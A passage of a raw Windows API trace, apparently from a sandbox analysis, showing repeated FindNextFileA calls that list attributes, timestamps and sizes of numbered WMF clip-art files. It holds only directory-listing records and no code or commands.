lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0061.787] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0061.787] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0061.787] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0061.787] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0061.787] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0061.787] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0061.788] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0061.788] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0061.788] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0061.788] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0061.788] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0061.789] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0061.789] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0061.789] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0061.789] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0061.790] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0061.790] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0061.790] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0061.790] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0061.790] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0061.790] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0061.791] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0061.791] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0061.791] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0061.791] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0061.791] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0061.791] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0061.792] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0061.792] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0061.792] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0061.792] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0061.792] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0061.792] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0061.793] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0061.793] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0061.793] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0061.793] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0061.793] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0061.793] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0061.794] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0061.794] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0061.794] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0061.794] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0061.794] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0061.794] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0061.795] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, 